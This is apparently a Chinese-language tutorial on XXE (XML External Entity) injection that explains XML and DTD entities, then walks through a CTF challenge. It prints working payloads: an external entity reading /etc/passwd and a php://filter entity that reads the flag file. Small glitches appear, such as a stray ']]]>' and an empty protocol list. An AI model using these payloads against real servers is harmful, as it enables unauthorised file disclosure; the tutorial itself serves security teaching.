0x01前言

xxe漏洞,全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

0x02预备知识

了解XXE之前需要先了解下XML,XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
重点是DTD文档
  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
外部声明DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

实例演示:除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY name "nMask">]>
<foo>
        <value>&name;</value> 
</foo>

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

支持的协议:

0x03利用方法及例子

XXE漏洞主要会造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据,这里不展开讲解了。

这里举个Securinets Prequals CTF 2K19 https://web2.ctfsecurinets.com/的一个例子,一个简单的利用XXE文件读写。

题目一上来提示flag在flag文件中,观察提交名字,邮箱和信息,然后会回显名字,右键查看源码,观察到关键代码:

function func(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<feedback>' +
        '<author>' + $('input[name="name"]').val() + '</author>' +
        '<email>' + $('input[name="email"]').val() + '</email>' +
        '<content>' + $('input[name="feedback"]').val() + '</content>' +
        '</feedback>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('Message').innerHTML = xmlhttp.responseText;
        }
    }
    xmlhttp.open("POST","feed.php",true);
    xmlhttp.send(xml);
};

这里是js构造了一个xml文档来post我们上述的信息,尝试利用XXE进行文件读取

成功得到回显

利用php伪协议读取flag文件

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replace [<!ENTITY doc SYSTEM 'php://filter/convert.base64-encode/resource=flag'> ]><feedback><author>&doc;</author><email>123@gmail.com</email><content>undefined</content></feedback>

base64后得到flag:Securinets{Xxe_xXE_@Ll_Th3_W@Y}

还可以通过读proc/self/pwd/flag

0x04总结

对于XXE漏洞防御应该过滤用户提交的敏感词,关闭外部实体的引用等方法。